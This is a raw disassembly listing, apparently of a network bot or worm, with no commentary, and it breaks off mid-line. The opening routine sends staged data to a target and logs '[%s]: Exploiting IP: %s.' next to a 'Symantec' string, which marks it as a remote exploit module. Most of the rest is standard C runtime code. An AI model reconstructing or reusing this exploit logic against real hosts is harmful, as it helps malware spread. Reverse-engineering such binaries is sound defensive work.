--------------------------------------------------------------------------- loc_41B80A: ; CODE XREF: ___:0041B79Aj lea eax, [ebp-28h] push eax lea eax, [ebp-88h] push eax call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_41B82E loc_41B820: ; CODE XREF: ___:0041B756j ; ___:0041B7B2j ... push ebx call dword_4CBA6C xor eax, eax jmp loc_41B9B7 ; --------------------------------------------------------------------------- loc_41B82E: ; CODE XREF: ___:0041B781j ; ___:0041B78Aj ... push esi lea eax, [ebp-16h] push 1 push eax push ebx call dword_4CBA24 lea eax, [ebp-10h] push 1 push eax push ebx call sub_41B55B mov esi, dword_427080 add esp, 0Ch mov edi, 3E8h push edi call esi lea eax, [ebp-18h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi lea eax, [ebp-10h] push 2 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi and dword ptr [ebp-4], 0 mov edi, offset byte_4DBCCC push edi call sub_41B9C0 test eax, eax pop ecx jbe short loc_41B8CE loc_41B891: ; CODE XREF: ___:0041B8CCj mov eax, [ebp-4] movsx eax, byte_4DBCCC[eax] push eax push offset dword_43ADD8 lea eax, [ebp-20h] push 3 push eax call sub_41C360 lea eax, [ebp-20h] push 0 push eax push ebx call sub_41B55B add esp, 1Ch push 7Dh call esi inc dword ptr [ebp-4] push edi call sub_41B9C0 cmp [ebp-4], eax pop ecx jb short loc_41B891 loc_41B8CE: ; CODE XREF: ___:0041B88Fj lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 0FA0h call esi push 2 pop edi loc_41B8E7: ; CODE XREF: ___:0041B8FEj lea eax, [ebp-14h] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push 12Ch call esi dec edi jnz short loc_41B8E7 mov edi, 7D0h push edi call esi lea eax, [ebp-0Ch] push 0 push eax push ebx call sub_41B55B add esp, 0Ch push edi call esi xor edi, edi lea eax, [ebp-14h] push edi push eax push ebx call sub_41B55B add esp, 0Ch push 190h call esi mov dword ptr [ebp-4], 2 loc_41B938: ; CODE XREF: ___:0041B950j push 258h call esi lea eax, [ebp-0Ch] push edi push eax push ebx call sub_41B55B add esp, 0Ch dec dword ptr [ebp-4] jnz short loc_41B938 push ebx call dword_4CBA6C lea eax, [ebp+0Ch] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aSymantec ; "Symantec" push eax push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." lea eax, [ebp-288h] push 1FFh push eax call sub_41C360 push edi lea eax, [ebp-288h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_409869 mov eax, [ebp+0B0h] add esp, 28h shl eax, 6 inc dword_431800[eax] push 1 lea eax, dword_431800[eax] pop eax loc_41B9B7: ; CODE XREF: ___:0041B829j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41B9C0 proc near ; CODE XREF: sub_401000+34p ; ___:0040136Ep ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] test ecx, 3 jz short loc_41B9E0 loc_41B9CC: ; CODE XREF: sub_41B9C0+19j mov al, [ecx] inc ecx test al, al jz short loc_41BA13 test ecx, 3 jnz short loc_41B9CC add eax, 0 loc_41B9E0: ; CODE XREF: sub_41B9C0+Aj ; sub_41B9C0+36j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41B9E0 mov eax, [ecx-4] test al, al jz short loc_41BA31 test ah, ah jz short loc_41BA27 test eax, 0FF0000h jz short loc_41BA1D test eax, 0FF000000h jz short loc_41BA13 jmp short loc_41B9E0 ; --------------------------------------------------------------------------- loc_41BA13: ; CODE XREF: sub_41B9C0+11j ; sub_41B9C0+4Fj lea eax, [ecx-1] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA1D: ; CODE XREF: sub_41B9C0+48j lea eax, [ecx-2] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA27: ; CODE XREF: sub_41B9C0+41j lea eax, [ecx-3] mov ecx, [esp+arg_0] sub eax, ecx retn ; --------------------------------------------------------------------------- loc_41BA31: ; CODE XREF: sub_41B9C0+3Dj lea eax, [ecx-4] mov ecx, [esp+arg_0] sub eax, ecx retn sub_41B9C0 endp ; =============== S U B R O U T I N E ======================================= sub_41BA3B proc near ; CODE XREF: sub_4010AB+64p ; sub_401ACD+5809p ... arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi or edi, 0FFFFFFFFh mov eax, [esi+0Ch] test al, 40h jz short loc_41BA50 or eax, 0FFFFFFFFh jmp short loc_41BA8A ; --------------------------------------------------------------------------- loc_41BA50: ; CODE XREF: sub_41BA3B+Ej test al, 83h jz short loc_41BA88 push esi call sub_41E42B push esi mov edi, eax call sub_41E3C5 push dword ptr [esi+10h] call sub_41E312 add esp, 0Ch test eax, eax jge short loc_41BA76 or edi, 0FFFFFFFFh jmp short loc_41BA88 ; --------------------------------------------------------------------------- loc_41BA76: ; CODE XREF: sub_41BA3B+34j mov eax, [esi+1Ch] test eax, eax jz short loc_41BA88 push eax call sub_41BA91 and dword ptr [esi+1Ch], 0 pop ecx loc_41BA88: ; CODE XREF: sub_41BA3B+17j ; sub_41BA3B+39j ... mov eax, edi loc_41BA8A: ; CODE XREF: sub_41BA3B+13j and dword ptr [esi+0Ch], 0 pop edi pop esi retn sub_41BA3B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA91 proc near ; CODE XREF: sub_4010AB+5Ep ; sub_40A928+B1p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push esi mov esi, [ebp+arg_0] test esi, esi jz short loc_41BAF7 mov eax, dword_4DD388 cmp eax, 3 jnz short loc_41BABD push esi call sub_41E717 pop ecx test eax, eax push esi jz short loc_41BAE9 push eax call sub_41E742 pop ecx pop ecx jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BABD: ; CODE XREF: sub_41BA91+14j cmp eax, 2 jnz short loc_41BAE8 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_4] push eax push esi call sub_41F472 add esp, 0Ch test eax, eax jz short loc_41BAE8 push eax push [ebp+arg_0] push [ebp+var_4] call sub_41F4C9 add esp, 0Ch jmp short loc_41BAF7 ; --------------------------------------------------------------------------- loc_41BAE8: ; CODE XREF: sub_41BA91+2Fj ; sub_41BA91+44j push esi loc_41BAE9: ; CODE XREF: sub_41BA91+20j push 0 push dword_4DD384 call near ptr 27D0000h nop loc_41BAF7: ; CODE XREF: sub_41BA91+Aj ; sub_41BA91+2Aj ... pop esi leave retn sub_41BA91 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAFA proc near ; CODE XREF: sub_4010AB+45p ; ___:0040FA8Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push ebx push esi push edi mov edi, [ebp+arg_4] imul edi, [ebp+arg_8] mov ebx, [ebp+arg_0] mov ecx, edi test edi, edi mov [ebp+var_4], edi mov [ebp+arg_0], ecx jnz short loc_41BB1E xor eax, eax jmp loc_41BBC7 ; --------------------------------------------------------------------------- loc_41BB1E: ; CODE XREF: sub_41BAFA+1Bj mov esi, [ebp+arg_C] test word ptr [esi+0Ch], 10Ch jz short loc_41BB31 mov eax, [esi+18h] mov [ebp+arg_C], eax jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB31: ; CODE XREF: sub_41BAFA+2Dj mov [ebp+arg_C], 1000h jmp short loc_41BB3D ; --------------------------------------------------------------------------- loc_41BB3A: ; CODE XREF: sub_41BAFA+C4j mov ecx, [ebp+arg_0] loc_41BB3D: ; CODE XREF: sub_41BAFA+35j ; sub_41BAFA+3Ej test word ptr [esi+0Ch], 10Ch jz short loc_41BB6F mov eax, [esi+4] test eax, eax jz short loc_41BB6F cmp ecx, eax mov edi, ecx jb short loc_41BB54 mov edi, eax loc_41BB54: ; CODE XREF: sub_41BAFA+56j push edi push dword ptr [esi] push ebx call sub_41CD20 sub [ebp+arg_0], edi sub [esi+4], edi add [esi], edi add esp, 0Ch add ebx, edi mov edi, [ebp+var_4] jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BB6F: ; CODE XREF: sub_41BAFA+49j ; sub_41BAFA+50j cmp ecx, [ebp+arg_C] jb short loc_41BBA2 cmp [ebp+arg_C], 0 mov eax, ecx jz short loc_41BB85 xor edx, edx div [ebp+arg_C] mov eax, ecx sub eax, edx loc_41BB85: ; CODE XREF: sub_41BAFA+80j push eax push ebx push dword ptr [esi+10h] call sub_41F9BC add esp, 0Ch test eax, eax jz short loc_41BBCC cmp eax, 0FFFFFFFFh jz short loc_41BBD2 sub [ebp+arg_0], eax add ebx, eax jmp short loc_41BBBA ; --------------------------------------------------------------------------- loc_41BBA2: ; CODE XREF: sub_41BAFA+78j push esi call sub_41F8E3 cmp eax, 0FFFFFFFFh pop ecx jz short loc_41BBD6 mov [ebx], al mov eax, [esi+18h] inc ebx dec [ebp+arg_0] mov [ebp+arg_C], eax loc_41BBBA: ; CODE XREF: sub_41BAFA+73j ; sub_41BAFA+A6j cmp [ebp+arg_0], 0 jnz loc_41BB3A mov eax, [ebp+arg_8] loc_41BBC7: ; CODE XREF: sub_41BAFA+1Fj ; sub_41BAFA+E6j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41BBCC: ; CODE XREF: sub_41BAFA+9Aj or dword ptr [esi+0Ch], 10h jmp short loc_41BBD6 ; --------------------------------------------------------------------------- loc_41BBD2: ; CODE XREF: sub_41BAFA+9Fj or dword ptr [esi+0Ch], 20h loc_41BBD6: ; CODE XREF: sub_41BAFA+B2j ; sub_41BAFA+D6j mov eax, edi xor edx, edx sub eax, [ebp+arg_0] div [ebp+arg_4] jmp short loc_41BBC7 sub_41BAFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE2 proc near ; CODE XREF: sub_4010AB+2Ep ; sub_41D9B3+35p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 push ebx push esi push edi jnz short loc_41BBFD push [ebp+arg_4] call sub_41BEB5 pop ecx jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BBFD: ; CODE XREF: sub_41BBE2+Bj mov esi, [ebp+arg_4] test esi, esi jnz short loc_41BC12 push [ebp+arg_0] call sub_41BA91 pop ecx jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BC12: ; CODE XREF: sub_41BBE2+20j mov eax, dword_4DD388 cmp eax, 3 jnz loc_41BD22 loc_41BC20: ; CODE XREF: sub_41BBE2+12Ej xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BCFE push [ebp+arg_0] call sub_41E717 mov ebx, eax pop ecx test ebx, ebx jz loc_41BCD9 cmp esi, dword_4DD380 ja short loc_41BC92 mov edi, [ebp+arg_0] push esi push edi push ebx call sub_41EF20 add esp, 0Ch test eax, eax jnz short loc_41BC8E push esi call sub_41EA6B mov edi, eax pop ecx test edi, edi jz short loc_41BC92 mov ebx, [ebp+arg_0] mov eax, [ebx-4] dec eax cmp eax, esi jb short loc_41BC72 mov eax, esi loc_41BC72: ; CODE XREF: sub_41BBE2+8Cj push eax push ebx push edi call sub_41CD20 push ebx call sub_41E717 push [ebp+arg_0] mov ebx, eax push ebx call sub_41E742 add esp, 18h loc_41BC8E: ; CODE XREF: sub_41BBE2+74j test edi, edi jnz short loc_41BCD5 loc_41BC92: ; CODE XREF: sub_41BBE2+62j ; sub_41BBE2+81j test esi, esi jnz short loc_41BC99 push 1 pop esi loc_41BC99: ; CODE XREF: sub_41BBE2+B2j add esi, 0Fh and esi, 0FFFFFFF0h push esi push 0 push dword_4DD384 nop call near ptr 27E0000h mov edi, eax test edi, edi jz short loc_41BCD5 mov ecx, [ebp+arg_0] mov eax, [ecx-4] dec eax cmp eax, esi jb short loc_41BCC1 mov eax, esi loc_41BCC1: ; CODE XREF: sub_41BBE2+DBj push eax push ecx push edi call sub_41CD20 push [ebp+arg_0] push ebx call sub_41E742 add esp, 14h loc_41BCD5: ; CODE XREF: sub_41BBE2+AEj ; sub_41BBE2+D0j test ebx, ebx jnz short loc_41BCFA loc_41BCD9: ; CODE XREF: sub_41BBE2+56j test esi, esi jnz short loc_41BCE0 push 1 pop esi loc_41BCE0: ; CODE XREF: sub_41BBE2+F9j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2870000h mov edi, eax loc_41BCFA: ; CODE XREF: sub_41BBE2+F5j test edi, edi jnz short loc_41BD1B loc_41BCFE: ; CODE XREF: sub_41BBE2+43j cmp dword_4DBE48, 0 jz short loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BC20 jmp loc_41BE7B ; --------------------------------------------------------------------------- loc_41BD1B: ; CODE XREF: sub_41BBE2+11Aj ; sub_41BBE2+123j ... mov eax, edi jmp loc_41BE7D ; --------------------------------------------------------------------------- loc_41BD22: ; CODE XREF: sub_41BBE2+38j cmp eax, 2 jnz loc_41BE3D cmp esi, 0FFFFFFE0h ja short loc_41BD3F test esi, esi jbe short loc_41BD3C add esi, 0Fh and esi, 0FFFFFFF0h jmp short loc_41BD3F ; --------------------------------------------------------------------------- loc_41BD3C: ; CODE XREF: sub_41BBE2+150j push 10h pop esi loc_41BD3F: ; CODE XREF: sub_41BBE2+14Cj ; sub_41BBE2+158j ... xor edi, edi cmp esi, 0FFFFFFE0h ja loc_41BE1F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_4] push eax push [ebp+arg_0] call sub_41F472 mov ebx, eax add esp, 0Ch test ebx, ebx jz loc_41BE03 cmp esi, dword_43CE74 jnb short loc_41BDC7 mov edi, esi shr edi, 4 push edi push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F83A add esp, 10h test eax, eax jz short loc_41BD8D mov edi, [ebp+arg_0] jmp short loc_41BDBF ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BBE2+1A4j push edi call sub_41F50E mov edi, eax pop ecx test edi, edi jz short loc_41BDC7 movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDA6 mov eax, esi loc_41BDA6: ; CODE XREF: sub_41BBE2+1C0j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h loc_41BDBF: ; CODE XREF: sub_41BBE2+1A9j test edi, edi jnz loc_41BD1B loc_41BDC7: ; CODE XREF: sub_41BBE2+18Bj ; sub_41BBE2+1B6j push esi push 0 push dword_4DD384 call near ptr 27E0000h nop mov edi, eax test edi, edi jz short loc_41BE1F movzx eax, byte ptr [ebx] shl eax, 4 cmp eax, esi jb short loc_41BDE8 mov eax, esi loc_41BDE8: ; CODE XREF: sub_41BBE2+202j push eax push [ebp+arg_0] push edi call sub_41CD20 push ebx push [ebp+arg_4] push [ebp+var_4] call sub_41F4C9 add esp, 18h jmp short loc_41BE17 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BBE2+17Fj push esi push [ebp+arg_0] push 0 push dword_4DD384 nop call near ptr 2870000h mov edi, eax loc_41BE17: ; CODE XREF: sub_41BBE2+21Fj test edi, edi jnz loc_41BD1B loc_41BE1F: ; CODE XREF: sub_41BBE2+162j ; sub_41BBE2+1F8j cmp dword_4DBE48, 0 jz loc_41BD1B push esi call sub_41FBB2 test eax, eax pop ecx jnz loc_41BD3F jmp short loc_41BE7B ; --------------------------------------------------------------------------- loc_41BE3D: ; CODE XREF: sub_41BBE2+143j ; sub_41BBE2+297j xor eax, eax cmp esi, 0FFFFFFE0h ja short loc_41BE67 test esi, esi jnz short loc_41BE4B push 1 pop esi loc_41BE4B: ; CODE XREF: sub_41BBE2+264j add esi, 0Fh and esi, 0FFFFFFF0h push esi push [ebp+arg_0] push 0 push dword_4DD384 call near ptr 2870000h nop test eax, eax jnz short loc_41BE7D loc_41BE67: ; CODE XREF: sub_41BBE2+260j cmp dword_4DBE48, 0 jz short loc_41BE7D push esi call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BE3D loc_41BE7B: ; CODE XREF: sub_41BBE2+2Bj ; sub_41BBE2+134j ... xor eax, eax loc_41BE7D: ; CODE XREF: sub_41BBE2+16j ; sub_41BBE2+13Bj ... pop edi pop esi pop ebx leave retn sub_41BBE2 endp ; =============== S U B R O U T I N E ======================================= sub_41BE82 proc near ; CODE XREF: sub_41BEA2+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch call sub_41FD3D test eax, eax jnz short loc_41BE8C retn ; --------------------------------------------------------------------------- loc_41BE8C: ; CODE XREF: sub_41BE82+7j push eax push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41FBCD add esp, 10h retn sub_41BE82 endp ; =============== S U B R O U T I N E ======================================= sub_41BEA2 proc near ; CODE XREF: sub_4010AB+18p ; sub_401ACD+57DDp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push 40h push [esp+4+arg_4] push [esp+8+arg_0] call sub_41BE82 add esp, 0Ch retn sub_41BEA2 endp ; =============== S U B R O U T I N E ======================================= sub_41BEB5 proc near ; CODE XREF: sub_4010AB+6p ; sub_40A928+63p ... arg_0 = dword ptr 4 push dword_4DBE48 push [esp+4+arg_0] call sub_41BEC7 pop ecx pop ecx retn sub_41BEB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BEC7 proc near ; CODE XREF: sub_41BEB5+Ap ; sub_41D9A5+6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0FFFFFFE0h ja short loc_41BEF0 loc_41BECE: ; CODE XREF: sub_41BEC7+27j push [esp+arg_0] call sub_41BEF3 test eax, eax pop ecx jnz short locret_41BEF2 cmp [esp+arg_4], eax jz short locret_41BEF2 push [esp+arg_0] call sub_41FBB2 test eax, eax pop ecx jnz short loc_41BECE loc_41BEF0: ; CODE XREF: sub_41BEC7+5j xor eax, eax locret_41BEF2: ; CODE XREF: sub_41BEC7+13j ; sub_41BEC7+19j retn sub_41BEC7 endp ; =============== S U B R O U T I N E ======================================= sub_41BEF3 proc near ; CODE XREF: sub_41BEC7+Bp arg_0 = dword ptr 4 mov eax, dword_4DD388 push esi mov esi, [esp+4+arg_0] cmp eax, 3 jnz short loc_41BF17 cmp esi, dword_4DD380 ja short loc_41BF49 push esi call sub_41EA6B test eax, eax pop ecx jz short loc_41BF49 pop esi retn ; --------------------------------------------------------------------------- loc_41BF17: ; CODE XREF: sub_41BEF3+Dj cmp eax, 2 jnz short loc_41BF49 mov eax, [esp+4+arg_0] test eax, eax jz short loc_41BF2C lea esi, [eax+0Fh] and esi, 0FFFFFFF0h jmp short loc_41BF2F ; --------------------------------------------------------------------------- loc_41BF2C: ; CODE XREF: sub_41BEF3+2Fj push 10h pop esi loc_41BF2F: ; CODE XREF: sub_41BEF3+37j cmp esi, dword_43CE74 ja short loc_41BF56 mov eax, esi shr eax, 4 push eax call sub_41F50E test eax, eax pop ecx jnz short loc_41BF65 jmp short loc_41BF56 ; --------------------------------------------------------------------------- loc_41BF49: ; CODE XREF: sub_41BEF3+15j ; sub_41BEF3+20j ... test esi, esi jnz short loc_41BF50 push 1 pop esi loc_41BF50: ; CODE XREF: sub_41BEF3+58j add esi, 0Fh and esi, 0FFFFFFF0h loc_41BF56: ; CODE XREF: sub_41BEF3+42j ; sub_41BEF3+54j push esi push 0 push dword_4DD384 call near ptr 27E0000h nop loc_41BF65: ; CODE XREF: sub_41BEF3+52j pop esi retn sub_41BEF3 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BF70 proc near ; CODE XREF: sub_40111D+3Cp ; sub_40111D+4Ap ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov edx, [esp+arg_8] mov ecx, [esp+arg_0] test edx, edx jz short loc_41BFC3 xor eax, eax mov al, [esp+arg_4] push edi mov edi, ecx cmp edx, 4 jb short loc_41BFB7 neg ecx and ecx, 3 jz short loc_41BF99 sub edx, ecx loc_41BF93: ; CODE XREF: sub_41BF70+27j mov [edi], al inc edi dec ecx jnz short loc_41BF93 loc_41BF99: ; CODE XREF: sub_41BF70+1Fj mov ecx, eax shl eax, 8 add eax, ecx mov ecx, eax shl eax, 10h add eax, ecx mov ecx, edx and edx, 3 shr ecx, 2 jz short loc_41BFB7 rep stosd test edx, edx jz short loc_41BFBD loc_41BFB7: ; CODE XREF: sub_41BF70+18j ; sub_41BF70+3Fj ... mov [edi], al inc edi dec edx jnz short loc_41BFB7 loc_41BFBD: ; CODE XREF: sub_41BF70+45j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41BFC3: ; CODE XREF: sub_41BF70+Aj mov eax, [esp+arg_0] retn sub_41BF70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BFD0 proc near ; CODE XREF: ___:004016C0p ; ___:004016DCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz short loc_41C053 push esi push ebx mov ebx, ecx mov esi, [esp+0Ch+arg_4] test esi, 3 mov edi, [esp+0Ch+arg_0] jnz short loc_41BFF4 shr ecx, 2 jnz short loc_41C061 jmp short loc_41C015 ; --------------------------------------------------------------------------- loc_41BFF4: ; CODE XREF: sub_41BFD0+1Bj ; sub_41BFD0+37j mov al, [esi] inc esi mov [edi], al inc edi dec ecx jz short loc_41C022 test al, al jz short loc_41C02A test esi, 3 jnz short loc_41BFF4 mov ebx, ecx shr ecx, 2 jnz short loc_41C061 loc_41C010: ; CODE XREF: sub_41BFD0+8Fj and ebx, 3 jz short loc_41C022 loc_41C015: ; CODE XREF: sub_41BFD0+22j ; sub_41BFD0+50j mov al, [esi] inc esi mov [edi], al inc edi test al, al jz short loc_41C04E dec ebx jnz short loc_41C015 loc_41C022: ; CODE XREF: sub_41BFD0+2Bj ; sub_41BFD0+43j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C02A: ; CODE XREF: sub_41BFD0+2Fj test edi, 3 jz short loc_41C044 loc_41C032: ; CODE XREF: sub_41BFD0+72j mov [edi], al inc edi dec ecx jz loc_41C0C6 test edi, 3 jnz short loc_41C032 loc_41C044: ; CODE XREF: sub_41BFD0+60j mov ebx, ecx shr ecx, 2 jnz short loc_41C0B7 loc_41C04B: ; CODE XREF: sub_41BFD0+7Fj ; sub_41BFD0+F4j mov [edi], al inc edi loc_41C04E: ; CODE XREF: sub_41BFD0+4Dj dec ebx jnz short loc_41C04B pop ebx pop esi loc_41C053: ; CODE XREF: sub_41BFD0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C059: ; CODE XREF: sub_41BFD0+A9j ; sub_41BFD0+C1j mov [edi], edx add edi, 4 dec ecx jz short loc_41C010 loc_41C061: ; CODE XREF: sub_41BFD0+20j ; sub_41BFD0+3Ej mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C059 test dl, dl jz short loc_41C0AB test dh, dh jz short loc_41C0A1 test edx, 0FF0000h jz short loc_41C097 test edx, 0FF000000h jnz short loc_41C059 mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C097: ; CODE XREF: sub_41BFD0+B9j and edx, 0FFFFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0A1: ; CODE XREF: sub_41BFD0+B1j and edx, 0FFh mov [edi], edx jmp short loc_41C0AF ; --------------------------------------------------------------------------- loc_41C0AB: ; CODE XREF: sub_41BFD0+ADj xor edx, edx mov [edi], edx loc_41C0AF: ; CODE XREF: sub_41BFD0+C5j ; sub_41BFD0+CFj ... add edi, 4 xor eax, eax dec ecx jz short loc_41C0C1 loc_41C0B7: ; CODE XREF: sub_41BFD0+79j xor eax, eax loc_41C0B9: ; CODE XREF: sub_41BFD0+EFj mov [edi], eax add edi, 4 dec ecx jnz short loc_41C0B9 loc_41C0C1: ; CODE XREF: sub_41BFD0+E5j and ebx, 3 jnz short loc_41C04B loc_41C0C6: ; CODE XREF: sub_41BFD0+66j mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn sub_41BFD0 endp ; =============== S U B R O U T I N E ======================================= sub_41C0CE proc near ; CODE XREF: sub_41C159+4p arg_0 = dword ptr 4 push ebx push ebp push esi push edi mov edi, [esp+10h+arg_0] loc_41C0D6: ; CODE XREF: sub_41C0CE+34j cmp dword_43D084, 1 jle short loc_41C0EE movzx eax, byte ptr [edi] push 8 push eax call sub_41FDB5 pop ecx pop ecx jmp short loc_41C0FD ; --------------------------------------------------------------------------- loc_41C0EE: ; CODE XREF: sub_41C0CE+Fj movzx eax, byte ptr [edi] mov ecx, off_43CE78 mov al, [ecx+eax*2] and eax, 8 loc_41C0FD: ; CODE XREF: sub_41C0CE+1Ej test eax, eax jz short loc_41C104 inc edi jmp short loc_41C0D6 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0CE+31j movzx esi, byte ptr [edi] inc edi cmp esi, 2Dh mov ebp, esi jz short loc_41C114 cmp esi, 2Bh jnz short loc_41C118 loc_41C114: ; CODE XREF: sub_41C0CE+3Fj movzx esi, byte ptr [edi] inc edi loc_41C118: ; CODE XREF: sub_41C0CE+44j xor ebx, ebx loc_41C11A: ; CODE XREF: sub_41C0CE+7Bj cmp dword_43D084, 1 jle short loc_41C12F push 4 push esi call sub_41FDB5 pop ecx pop ecx jmp short loc_41C13A ; --------------------------------------------------------------------------- loc_41C12F: ; CODE XREF: sub_41C0CE+53j mov eax, off_43CE78 mov al, [eax+esi*2] and eax, 4 loc_41C13A: ; CODE XREF: sub_41C0CE+5Fj test eax, eax jz short loc_41C14B lea eax, [ebx+ebx*4] lea ebx, [esi+eax*2-30h] movzx esi, byte ptr [edi] inc edi jmp short loc_41C11A ; --------------------------------------------------------------------------- loc_41C14B: ; CODE XREF: sub_41C0CE+6Ej cmp ebp, 2Dh mov eax, ebx jnz short loc_41C154 neg eax loc_41C154: ; CODE XREF: sub_41C0CE+82j pop edi pop esi pop ebp pop ebx retn sub_41C0CE endp ; =============== S U B R O U T I N E ======================================= sub_41C159 proc near ; CODE XREF: ___:00401527p ; sub_401ACD+717p ... arg_0 = dword ptr 4 push [esp+arg_0] call sub_41C0CE pop ecx retn sub_41C159 endp ; --------------------------------------------------------------------------- mov eax, off_43AE1C test eax, eax jz short loc_41C16F call eax ; sub_41D124 loc_41C16F: ; CODE XREF: ___:0041C16Bj push offset dword_429028 push offset dword_429014 call sub_41C24C push offset dword_429010 push offset dword_429000 call sub_41C24C add esp, 10h retn ; --------------------------------------------------------------------------- push 0 push 0 push dword ptr [esp+0Ch] call sub_41C1B3 add esp, 0Ch retn ; =============== S U B R O U T I N E ======================================= sub_41C1A2 proc near ; CODE XREF: sub_41E2C9+1Cp ; sub_422DFC+21E6p ... arg_0 = dword ptr 4 push 0 push 1 push [esp+8+arg_0] call sub_41C1B3 add esp, 0Ch retn sub_41C1A2 endp ; =============== S U B R O U T I N E ======================================= sub_41C1B3 proc near ; CODE XREF: ___:0041C199p ; sub_41C1A2+8p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push edi push 1 pop edi cmp dword_4DBE24, edi jnz short loc_41C1D0 push [esp+4+arg_0] call near ptr 273094Dh nop push eax call near ptr 2730250h nop loc_41C1D0: ; CODE XREF: sub_41C1B3+Aj cmp [esp+4+arg_4], 0 push ebx mov ebx, [esp+8+arg_8] mov dword_4DBE20, edi mov byte_4DBE1C, bl jnz short loc_41C224 mov eax, dword_4DD39C test eax, eax jz short loc_41C213 mov ecx, dword_4DD398 push esi lea esi, [ecx-4] cmp esi, eax jb short loc_41C212 loc_41C1FF: ; CODE XREF: sub_41C1B3+5Dj mov eax, [esi] test eax, eax jz short loc_41C207 call eax loc_41C207: ; CODE XREF: sub_41C1B3+50j sub esi, 4 cmp esi, dword_4DD39C jnb short loc_41C1FF loc_41C212: ; CODE XREF: sub_41C1B3+4Aj pop esi loc_41C213: ; CODE XREF: sub_41C1B3+3Cj push offset dword_429034 push offset dword_42902C call sub_41C24C pop ecx pop ecx loc_41C224: ; CODE XREF: sub_41C1B3+33j push offset dword_429040 push offset dword_429038 call sub_41C24C pop ecx pop ecx test ebx, ebx pop ebx jnz short loc_41C24A push [esp+4+arg_0] mov dword_4DBE24, edi nop call near ptr 77E75CB5h loc_41C24A: ; CODE XREF: sub_41C1B3+85j pop edi retn sub_41C1B3 endp ; =============== S U B R O U T I N E ======================================= sub_41C24C proc near ; CODE XREF: ___:0041C179p ; ___:0041C188p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_0] loc_41C251: ; CODE XREF: sub_41C24C+16j cmp esi, [esp+4+arg_4] jnb short loc_41C264 mov eax, [esi] test eax, eax jz short loc_41C25F call eax loc_41C25F: ; CODE XREF: sub_41C24C+Fj add esi, 4 jmp short loc_41C251 ; --------------------------------------------------------------------------- loc_41C264: ; CODE XREF: 